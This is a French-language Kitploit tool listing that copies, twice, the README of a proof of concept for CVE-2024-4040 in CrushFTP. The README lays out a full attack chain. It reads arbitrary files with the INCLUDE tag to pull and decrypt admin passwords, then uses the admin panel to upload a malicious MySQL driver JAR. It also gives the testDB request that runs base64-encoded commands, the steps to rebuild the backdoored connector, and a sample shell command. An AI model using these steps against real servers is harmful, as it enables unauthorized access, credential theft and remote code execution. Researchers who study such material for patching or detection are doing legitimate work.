Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-4040 — CVE-2024-4040 PoC | Kitploit
Outils/GitHubGitHub/entroychang/cve-2024-4040
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubentroychang/cve-2024-4040

CVE-2024-4040

CVE-2024-4040 PoC

Voir le dépôt
31il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-4040

Introduction

  • Récemment, j'ai vu cette vulnérabilité et l'ai trouvée intéressante. J'ai lu les articles suivants et écrit un petit exploit.
    • https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
    • https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP%E5%90%8E%E5%88%A9%E7%94%A8%E6%8F%90%E6%9D%83%E5%88%86%E6%9E%90-CVE-2024-4040/

Machine cible

  • J'ai utilisé un docker d'un autre. Pour plus de détails, veuillez consulter le GitHub de l'auteur.
    • https://github.com/MarkusMcNugen/docker-CrushFTP
root@kitploit:~
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest

Processus d'attaque

Obtention du mot de passe

  • Utilisez exploit.py et decrypt.java pour obtenir et déchiffrer le mot de passe. En résumé, la clé est codée en dur, donc vous pouvez la déchiffrer et lire des fichiers arbitrairement.
  • Notez ici que si l'admin par défaut crushadmin n'existe pas, vous pouvez essayer de récupérer CrushFTP.log, qui contient des informations de compte.
    • <INCLUDE>CrushFTP.log</INCLUDE>

exploit.py

root@kitploit:~
usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path
  • Logiquement, il vérifie d'abord si la cible est vulnérable en utilisant quatre comptes par défaut et tente d'obtenir le fichier user.XML.
  • Après avoir confirmé la vulnérabilité, il récupère le compte spécifié par l'utilisateur ; s'il n'est pas fourni, il utilise par défaut le compte admin crushadmin.
  • Une fois le mot de passe obtenu, utilisez decrypt.java pour le déchiffrer.
  • La fonction --shell permet de voir facilement les résultats après RCE. Après avoir téléchargé le fichier jar via la méthode ci-dessous, spécifiez --jar-path et --headers pour voir le résultat de l'exécution de la commande.
    • Notez que --headers doit inclure le Cookie de connexion, par exemple : --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
    • Le chemin par défaut de --jar-path est /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. S'il se trouve à un emplacement différent, assurez-vous de spécifier le chemin. Les chemins relatifs fonctionnent théoriquement, mais les chemins absolus sont recommandés.

Connexion pour ajuster les mappages et les permissions

  • Après connexion, accédez à l'interface admin.
  • Trouvez User Manager, cliquez sur l'utilisateur à gauche, faites glisser le dossier que vous souhaitez mapper vers User's Stuff, puis ajustez les permissions. Assurez-vous que l'option de téléchargement (upload) est cochée.

Téléchargement du fichier jar malveillant

  • Téléchargez le fichier jar malveillant. J'en ai préparé deux : un pour JDK 16 et un pour JDK 13, selon la version Java du serveur.
  • Revenez à la section files, cliquez sur upload, puis téléchargez le fichier jar malveillant.

RCE

  • En résumé, la raison du RCE est qu'il existe une fonction testDB qui permet de spécifier un fichier jar et un objet driver, et comme vous pouvez télécharger, combiner les deux permet d'obtenir un RCE.
root@kitploit:~
command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
    • La commande dans l'image est id.
    • Passez la commande encodée en base64 dans le paramètre db_user pour l'exécuter.
  • Le connecteur MySQL que j'ai modifié est la version 5.0.4.
  • Si les deux versions compilées ne fonctionnent pas, je fournis ma version modifiée, qui peut être recompilée avec les commandes suivantes :
    • mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar
    • cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java
    • javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java
    • jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *

CVE-2024-4040

Introduction

  • Récemment, je suis tombé sur cette vulnérabilité et l'ai trouvée intéressante. J'ai lu les articles suivants et écrit un petit exploit.
    • https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
    • https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP-Post-Exploitation-Privilege-Escalation-Analysis-CVE-2024-4040/

Machine cible

  • J'ai utilisé un docker d'un autre. Pour plus de détails, veuillez consulter le GitHub de l'auteur.
    • https://github.com/MarkusMcNugen/docker-CrushFTP
root@kitploit:~
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp

Processus d'attaque

Obtention du mot de passe

  • Utilisez exploit.py et decrypt.java pour obtenir et déchiffrer le mot de passe. La clé est codée en dur, donc vous pouvez la déchiffrer et lire des fichiers arbitrairement.
  • Notez que si l'admin par défaut, crushadmin, n'existe pas, vous pouvez essayer de récupérer CrushFTP.log pour obtenir des informations de compte.
    • <INCLUDE>CrushFTP.log</INCLUDE>

exploit.py

root@kitploit:~
usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path
  • La logique vérifie d'abord si la cible est vulnérable en utilisant quatre comptes par défaut et tente de récupérer le fichier user.XML.
  • Si la cible est confirmée vulnérable, elle récupère le compte spécifié par l'utilisateur ; si non fourni, elle utilise par défaut le compte admin crushadmin.
  • Après avoir obtenu le mot de passe, utilisez decrypt.java pour le déchiffrer.
  • La fonction --shell permet de visualiser facilement les résultats après RCE. Après avoir téléchargé le fichier JAR en utilisant la méthode suivante, spécifiez --jar-path et --headers pour voir le résultat de l'exécution de la commande :
    • Notez que --headers doit inclure le Cookie de connexion, par exemple : --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
    • Le chemin par défaut de --jar-path est /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. S'il se trouve à un emplacement différent, assurez-vous de spécifier le chemin. Les chemins relatifs fonctionnent théoriquement mais les chemins absolus sont recommandés.

Connexion pour ajuster les mappages et les permissions

  • Connectez-vous et accédez au panneau d'administration.
  • Après avoir trouvé User Manager, cliquez sur l'utilisateur à gauche, faites glisser le dossier que vous souhaitez mapper vers User's Stuff, et enfin ajustez les permissions. Assurez-vous que l'option de téléchargement (upload) est cochée.

Téléchargement du fichier JAR malveillant

  • Téléchargez le fichier JAR malveillant. J'ai préparé deux versions, une pour JDK 16 et une pour JDK 13, selon la version Java du serveur.
  • Revenez à la section files, cliquez sur upload, et téléchargez le fichier JAR malveillant.

RCE

  • La raison du RCE est qu'il existe une fonction testDB où vous pouvez spécifier le fichier JAR et l'objet driver, et comme vous pouvez télécharger, en combinant les deux vous obtenez un RCE.
root@kitploit:~
command=testDB&db_driver_file=<path_to_evil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
    • La commande dans l'image est id.
    • Passez la commande encodée en base64 dans le paramètre db_user pour l'exécuter.
  • J'ai personnellement modifié le connecteur MySQL version 5.0.4.
  • Si les deux versions compilées ne fonctionnent pas, je fournis ma version modifiée, qui peut être recompilée avec les commandes suivantes :
    • mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar
    • cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java
    • javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java
    • jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *
Télécharger l’outil
  • Pour quitter, tapez exit.
  • Exemple de commande : python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
  • Pour quitter, tapez exit.
  • Exemple de commande : python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"